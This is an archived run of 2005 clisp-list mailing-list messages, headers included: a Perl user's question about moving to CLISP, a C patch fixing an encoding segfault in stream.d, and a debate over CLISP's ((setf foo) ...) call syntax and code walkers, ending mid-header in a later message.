Content-Disposition: inline X-Operating-System: OpenBSD 3.4 User-Agent: Mutt/1.5.4i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] 'daily usage' questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 24 07:48:25 2005 X-Original-Date: Mon, 24 Jan 2005 15:07:22 +0100 Hi! I'm a sysadmin using mostly perl for my day-to-day tasks. Zilions of modules and lazy type of writing is very suited for me ... Mostly moving data from one place to another. I've been hearing a lot about Lisp lately, and I'd like to give it a try. But it's difficult to do something similiar to my perl throwaway scripts in Clisp. There seems to be very few(non-free) on no supporting libraries (sql, ldap, parsing files, ...). Yes, I am lazy... to some degree. Almost every day I'm faced with moving data from let's say ldap to sql or vice versa, parsing few files and generating some meaningful output. Few other, bigger things are billing software (all writtn in perl), threaded tcp servers, XMLRPC, ... I'd like to try writing this thingies in Clisp. Is this even sane to do? Damir From hin@van-halen.alma.com Mon Jan 24 08:15:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ct6sE-0004FD-8z for clisp-list@lists.sourceforge.net; Mon, 24 Jan 2005 08:15:30 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Ct6sB-0006Fp-Ra for clisp-list@lists.sourceforge.net; Mon, 24 Jan 2005 08:15:30 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id E613A10DE37; Mon, 24 Jan 2005 11:15:20 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id j0OGFKQF027880; Mon, 24 Jan 2005 11:15:20 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id j0OGFK2W027877; Mon, 24 Jan 2005 11:15:20 -0500 Message-Id: <200501241615.j0OGFK2W027877@van-halen.alma.com> From: "John K. Hinsdale" To: damir@x-si.org Cc: clisp-list@lists.sourceforge.net In-reply-to: <20050124140722.GA15072@mail.x-si.org> (message from Damir Horvat on Mon, 24 Jan 2005 15:07:22 +0100) Subject: Re: [clisp-list] 'daily usage' questions X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 24 08:16:16 2005 X-Original-Date: Mon, 24 Jan 2005 11:15:20 -0500 > I've been hearing a lot about Lisp lately, and I'd like to give it a > try. > > Almost every day I'm faced with moving data from let's say ldap to sql > or vice versa, parsing few files and generating some meaningful output. LDAP <-> "SQL" is a good example, as CLISP does have built-in modules (which in turn access 3rd party libraries) for those two things specifically. By "SQL" I assume you mean a relation DBMS of some ttype. CLISP has easy access to Postgres and Oracle. I have written substantial Oracle apps w/ it. For parsing files CLISP has yet another library "pcre" (perl compatible regex's) which should be on par w/ perl. > Few other, bigger things are billing software (all writtn in perl), > threaded tcp servers, XMLRPC, ... This sounds like a lot to re-write at once. I'd suggest picking a small project and seeing it through from start to finish! > I'd like to try writing this thingies in Clisp. Is this even sane > to do? definitely. One thing that is way easier w/ Lisp is debugging. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From bruno@clisp.org Tue Jan 25 01:51:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CtNML-0003CO-Jf for clisp-list@lists.sourceforge.net; Tue, 25 Jan 2005 01:51:41 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CtNMK-00012o-KY for clisp-list@lists.sourceforge.net; Tue, 25 Jan 2005 01:51:41 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id j0P9pIJh001888; Tue, 25 Jan 2005 10:51:18 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j0P9pBFs026476; Tue, 25 Jan 2005 10:51:11 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 6971B3BCFD; Tue, 25 Jan 2005 09:45:20 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: Cc: "Pascal J.Bourguignon" MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200501251045.18605.bruno@clisp.org> X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: charset upper range --> segfault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 25 01:52:02 2005 X-Original-Date: Tue, 25 Jan 2005 10:45:18 +0100 Pascal Bourguignon wrote: > (with-open-file (test > (make-pathname :case :common > > :name "ARMSCII-8" > :type "DOS") > : > :direction :output > :if-exists :supersede > :if-does-not-exist :create > :external-format (ext:make-encoding :charset > : charset:armscii-8 > : > :line-terminator > : :dos)) > > (format test "~C~%" (code-char 917504))) > --> Segmentation fault This patch fixes it. Thanks for the report. Interestingly, the clisp code was correct at the time when it was written. The bug appeared when support for Unicode 3.2 was added to glibc: then the function iconv() started to have a behaviour that was not imaginable before. Bruno *** src/stream.d.orig 11 Dec 2004 15:30:28 -0000 1.415.2.11 --- src/stream.d 25 Jan 2005 09:45:22 -0000 1.415.2.12 *************** *** 473,478 **** --- 473,484 ---- var chart ch = char_code(TheStream(stream)->strm_rd_ch_last); var uintB buf[4]; # are there characters longer than 4 bytes?! var uintL char_len = cslen(enc,&ch,1); + ASSERT(char_len <= sizeof(buf)); + if (char_len == 0) { # the char corresponds to no bytes at all + TheStream(stream)->strmflags &= ~strmflags_unread_B; + TheStream(stream)->strm_rd_ch_last = NIL; + goto do_read_byte; + } cstombs(enc,&ch,1,buf,char_len); var uint8 code = buf[0]; if (char_len == 1) { # the char was just one byte *************** *** 495,502 **** return sfixnum((sint8)code); else return fixnum((uint8)code); ! } else return rd_by(stream)(stream); } else { # Call the generic function (STREAM-READ-BYTE stream): pushSTACK(stream); funcall(S(stream_read_byte),1); --- 501,510 ---- return sfixnum((sint8)code); else return fixnum((uint8)code); ! } else { ! do_read_byte: return rd_by(stream)(stream); + } } else { # Call the generic function (STREAM-READ-BYTE stream): pushSTACK(stream); funcall(S(stream_read_byte),1); *************** *** 5326,5332 **** Encoding_wcstombs(encoding) (encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); ! UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],false); #else UnbufferedStreamLow_write(stream)(stream,as_cint(c)); #endif --- 5334,5342 ---- Encoding_wcstombs(encoding) (encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); ! var uintL buflen = bptr-&buf[0]; ! if (buflen > 0) ! UnbufferedStreamLow_write_array(stream)(stream,&buf[0],buflen,false); #else UnbufferedStreamLow_write(stream)(stream,as_cint(c)); #endif *************** *** 5348,5355 **** var uintB* bptr = &tmptmpbuf[0]; Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr, &tmptmpbuf[tmpbufsize*max_bytes_per_chart]); ! UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0], ! bptr-&tmptmpbuf[0],false); } while (charptr != endptr); #undef tmpbufsize #else --- 5358,5367 ---- var uintB* bptr = &tmptmpbuf[0]; Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr, &tmptmpbuf[tmpbufsize*max_bytes_per_chart]); ! var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! if (tmptmpbuflen > 0) ! UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0], ! tmptmpbuflen,false); } while (charptr != endptr); #undef tmpbufsize #else *************** *** 5373,5379 **** Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr, &buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); ! UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],false); #else UnbufferedStreamLow_write(stream)(stream,as_cint(c)); #endif --- 5385,5393 ---- Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr, &buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); ! var uintL buflen = bptr-&buf[0]; ! if (buflen > 0) ! UnbufferedStreamLow_write_array(stream)(stream,&buf[0],buflen,false); #else UnbufferedStreamLow_write(stream)(stream,as_cint(c)); #endif *************** *** 5413,5420 **** Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr, &tmptmpbuf[tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); ! UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0], ! bptr-&tmptmpbuf[0],false); #else UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf, n,false); --- 5427,5436 ---- Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr, &tmptmpbuf[tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); ! var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! if (tmptmpbuflen > 0) ! UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0], ! tmptmpbuflen,false); #else UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf, n,false); *************** *** 5447,5453 **** Encoding_wcstombs(encoding)(encoding,stream,&cptr,cp+n,&bptr, &buf[2*max_bytes_per_chart]); ASSERT(cptr == cp+n); ! UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],false); #else if (chareq(c,ascii(NL))) { UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)crlf,2,false); --- 5463,5471 ---- Encoding_wcstombs(encoding)(encoding,stream,&cptr,cp+n,&bptr, &buf[2*max_bytes_per_chart]); ASSERT(cptr == cp+n); ! var uintL buflen = bptr-&buf[0]; ! if (buflen > 0) ! UnbufferedStreamLow_write_array(stream)(stream,&buf[0],buflen,false); #else if (chareq(c,ascii(NL))) { UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)crlf,2,false); *************** *** 5492,5499 **** var uintB* bptr = &tmptmpbuf[0]; Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); ! UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0], ! bptr-&tmptmpbuf[0],false); #else UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf, tmpptr-&tmpbuf[0],false); --- 5510,5519 ---- var uintB* bptr = &tmptmpbuf[0]; Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); ! var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! if (tmptmpbuflen > 0) ! UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0], ! tmptmpbuflen,false); #else UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf, tmpptr-&tmpbuf[0],false); *************** *** 6539,6547 **** &buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); var uintL buflen = bptr-&buf[0]; ! write_byte_array_buffered(stream,&buf[0],buflen,false); ! # increment position ! BufferedStream_position(stream) += buflen; #else write_byte_buffered(stream,as_cint(c)); # write unchanged #endif --- 6559,6569 ---- &buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); var uintL buflen = bptr-&buf[0]; ! if (buflen > 0) { ! write_byte_array_buffered(stream,&buf[0],buflen,false); ! # increment position ! BufferedStream_position(stream) += buflen; ! } #else write_byte_buffered(stream,as_cint(c)); # write unchanged #endif *************** *** 6564,6572 **** Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr, &tmptmpbuf[tmpbufsize*max_bytes_per_chart]); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false); ! # increment position ! BufferedStream_position(stream) += tmptmpbuflen; } until (charptr == endptr); #undef tmpbufsize #else --- 6586,6596 ---- Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr, &tmptmpbuf[tmpbufsize*max_bytes_per_chart]); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! if (tmptmpbuflen > 0) { ! write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false); ! # increment position ! BufferedStream_position(stream) += tmptmpbuflen; ! } } until (charptr == endptr); #undef tmpbufsize #else *************** *** 6592,6600 **** Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); var uintL buflen = bptr-&buf[0]; ! write_byte_array_buffered(stream,&buf[0],buflen,false); ! # increment position ! BufferedStream_position(stream) += buflen; #else write_byte_buffered(stream,as_cint(c)); #endif --- 6616,6626 ---- Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); var uintL buflen = bptr-&buf[0]; ! if (buflen > 0) { ! write_byte_array_buffered(stream,&buf[0],buflen,false); ! # increment position ! BufferedStream_position(stream) += buflen; ! } #else write_byte_buffered(stream,as_cint(c)); #endif *************** *** 6633,6641 **** &tmptmpbuf[tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false); ! # increment position ! BufferedStream_position(stream) += tmptmpbuflen; } remaining -= n; } while (remaining > 0); --- 6659,6669 ---- &tmptmpbuf[tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! if (tmptmpbuflen > 0) { ! write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false); ! # increment position ! BufferedStream_position(stream) += tmptmpbuflen; ! } } remaining -= n; } while (remaining > 0); *************** *** 6675,6683 **** &buf[2*max_bytes_per_chart]); ASSERT(cptr == cp+n); var uintL buflen = bptr-&buf[0]; ! write_byte_array_buffered(stream,&buf[0],buflen,false); ! # increment position ! BufferedStream_position(stream) += buflen; #else if (chareq(c,ascii(NL))) { write_byte_buffered(stream,CR); write_byte_buffered(stream,LF); --- 6703,6713 ---- &buf[2*max_bytes_per_chart]); ASSERT(cptr == cp+n); var uintL buflen = bptr-&buf[0]; ! if (buflen > 0) { ! write_byte_array_buffered(stream,&buf[0],buflen,false); ! # increment position ! BufferedStream_position(stream) += buflen; ! } #else if (chareq(c,ascii(NL))) { write_byte_buffered(stream,CR); write_byte_buffered(stream,LF); *************** *** 6721,6729 **** Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false); ! # increment position ! BufferedStream_position(stream) += tmptmpbuflen; } remaining -= n; } while (remaining > 0); --- 6751,6761 ---- Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; ! if (tmptmpbuflen > 0) { ! write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,false); ! # increment position ! BufferedStream_position(stream) += tmptmpbuflen; ! } } remaining -= n; } while (remaining > 0); From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 25 06:13:04 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CtRRH-0006w1-Aj for clisp-list@lists.sourceforge.net; Tue, 25 Jan 2005 06:13:03 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CtRRF-0002yR-O6 for clisp-list@lists.sourceforge.net; Tue, 25 Jan 2005 06:13:03 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Tue, 25 Jan 2005 14:49:58 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Jan 2005 14:50:20 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030312F868@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: bruno@clisp.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] CLISP's ((setf (values-list (list a b c)) (foo)) syntax affects c ode walkers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 25 06:14:03 2005 X-Original-Date: Tue, 25 Jan 2005 14:50:16 +0100 Hi, while we are at CLISP custom syntax uses, here's something Marco Baringer just reported as causing problems with Iterate (and code walkers, generally): ((setf foo) value other-args) CLISP does not document this syntax extension (probably nobody uses it directly). Yet it appears as a result of macroexpansion: [9]> (macroexpand-1'(setf (values-list (list a b c)) (foo))) (LET* ((#:G6359 (LIST A B C))) ((SETF VALUES-LIST) (FOO) #:G6359)) ; T I consider it impossible to add such an extension. The standard clearly says: ?3.1.2.1.2 A cons that is used as a form is called a compound form. If the car of the compound form is not a symbol, then that car must be a lambda expression, in which case the compound form is a lambda form. With ((setf ...) ...), the car is not a symbol, nor a lambda expression. It's not legal CL (and it's not a function form). Therefore, I believe CLISP must not use such special syntax, or it will cause trouble to any portable code walker. IMHO ((setf ...) ...) cannot be considered a function form, since the standard uses a discrimination tree to distinguish among the three categories: function, special and lambda forms. Nowhere does it say "a function form is a list starting with a function name or designator, and (setf ...) is a function designator" -- except in the glossary, so YMMV: "function form n. a form that is a list and that has a first element which is the name of a function to be called on arguments [...]" One may argue that the above example with (setf value-list) is specific to CLISP (impnotes ?5.1.5) and thus non-portable already. Well, it's just the first example I came up with after Marco Baringer reported the bug to the iterate-devel mailing list. I guess there are other such uses of illegal syntax in macroexpansions from CLISP for plain porable code. Suggestions are welcome! BTW, #'(setf values-list) *** - FUNCTION: undefined function (SETF VALUES-LIST) Same for #'(setf car), but I guess CL says nowhere that (setf car) is the name of a defined function. I presume it only applies to self-defined functions. Regards, Jorg Hohle. From bruno@clisp.org Tue Jan 25 06:58:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CtS8m-0000uD-RZ for clisp-list@lists.sourceforge.net; Tue, 25 Jan 2005 06:58:00 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CtS8m-00081g-DK for clisp-list@lists.sourceforge.net; Tue, 25 Jan 2005 06:58:01 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.3/8.13.3) with ESMTP id j0PEvm3R015118; Tue, 25 Jan 2005 15:57:49 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j0PEvhCJ012631; Tue, 25 Jan 2005 15:57:43 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 997E03B3BE; Tue, 25 Jan 2005 14:51:45 +0000 (UTC) From: Bruno Haible To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: <5F9130612D07074EB0A0CE7E69FD7A030312F868@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030312F868@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200501251551.43496.bruno@clisp.org> X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: CLISP's ((setf (values-list (list a b c)) (foo)) syntax affects c ode walkers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 25 06:58:25 2005 X-Original-Date: Tue, 25 Jan 2005 15:51:43 +0100 Joerg-Cyril Hoehle wrote: > I consider it impossible to add such an extension. The standard clearly > says: ?3.1.2.1.2 > A cons that is used as a form is called a compound form. > If the car of the compound form is not a symbol, then that car must be a > lambda expression, in which case the compound form is a lambda form. The ANSI CL committee, when they voted down item 7 of issue , voted for inconsistency. CLISP supports the consistent way of using function names, in DEFUN, in DECLARE INLINE, in DEFGENERIC, in DEFCLASS slot options, in FBOUNDP, in FUNCTION, _and_ also in the function call syntax. > glossary, so YMMV: > > "function form n. a form that is a list and that has a first element which > is the name of a function to be called on arguments [...]" Cool! You already found the paragraph that supports the extension! > Therefore, I believe CLISP must not use such special syntax, or it will > cause trouble to any portable code walker. Come on, get real: 1) There is no such thing as a portable code walker. You cannot expand (macrolet ((foo (a &environment env) ...)) (symbol-macrolet (x 5) (macrolet ((bar () (foo x))) (bar)))) in a portable way, because in order to do so, you would need to construct a macroexpansion environment 'env' that contains the symbol-macro binding for 'x' in the format that the implementation uses. You don't have the portable primitives for doing so. 2) If you are working on a semi-portable code walker, that anyway requires some adjustments for every Lisp implementation, then please do yourself a favour and replace (symbolp x) with (typep x '(or symbol (cons (eql setf) (cons symbol null)))) at the appropriate place. It's a one-line change. Bruno From Joerg-Cyril.Hoehle@t-systems.com Wed Jan 26 05:14:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ctn0O-0002V9-KM for clisp-list@lists.sourceforge.net; Wed, 26 Jan 2005 05:14:44 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Ctn0M-0005Kw-W8 for clisp-list@lists.sourceforge.net; Wed, 26 Jan 2005 05:14:44 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Wed, 26 Jan 2005 13:29:09 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Jan 2005 13:29:12 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030312FA16@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: bruno@clisp.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] AW: CLISP's ((setf (values-list (list a b c)) (foo)) syntax affec ts c ode walkers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 26 05:15:10 2005 X-Original-Date: Wed, 26 Jan 2005 13:27:25 +0100 Bruno Haible wrote: >CLISP supports the consistent way of using function names, in DEFUN, >in DECLARE INLINE, in DEFGENERIC, in DEFCLASS slot options, in = FBOUNDP, >in FUNCTION, _and_ also in the function call syntax. IMHO, it's not yet consistent, since the following source-level = transformation does not work for (setf values-list) as a function-name: ( ...) =3D=3D (funcall (function ) ...) (same for apply), since I already pointed out that #'(setf values-list) = yield an error. Some macros are likely to do such transformations. It works for names = as symbols and for (lambda ...) expressions. >Cool! You already found the paragraph that supports the extension! I'd like to find a similar paragraph in impnotes. I can live with #+clisp-specific ((setf foo) v bar) syntax. >do yourself a favour and replace [...] with > (typep x '(or symbol (cons (eql setf) (cons symbol null)))) >at the appropriate place. It's a one-line change. It's not a one line change, since it endangers other places in the code = (a typical static vs. dynamic typing argument). For example, calls to (macro-function x), special-operator-p or type = declarations because CLHS states: macro-function symbol &optional environment =3D> function symbol---a symbol. But I fully agree that the amount of changes is limited. Concretely, if I were to apply the proposed change in Iterate, which = (not surprisingly) has such a SYMBOLP test, it would break because: (special-operator-p '(setf values-list)) *** - SPECIAL-OPERATOR-P: (SETF VALUES-LIST) is not a symbol But I have a 2-line patch (4 with comments) that seems to work. >There is no such thing as a portable code walker. Agreed, yet every walker will need #+clisp-specific code. Not so nice. For instance, Marco Baringer came across this setf issue when trying to = port his UCW to clisp (ucw includes a CPS transformer, which means code = transformation). Regards, J=C3=B6rg H=C3=B6hle. From bruno@clisp.org Wed Jan 26 06:53:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CtoY8-0000DE-4B for clisp-list@lists.sourceforge.net; Wed, 26 Jan 2005 06:53:40 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CtoY7-0000sr-8a for clisp-list@lists.sourceforge.net; Wed, 26 Jan 2005 06:53:39 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.3/8.13.3) with ESMTP id j0QErWt4029362; Wed, 26 Jan 2005 15:53:32 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j0QErQFk011328; Wed, 26 Jan 2005 15:53:27 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 6E5BB3BCFC; Wed, 26 Jan 2005 14:47:35 +0000 (UTC) From: Bruno Haible To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: <5F9130612D07074EB0A0CE7E69FD7A030312FA16@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030312FA16@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200501261547.33588.bruno@clisp.org> X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: 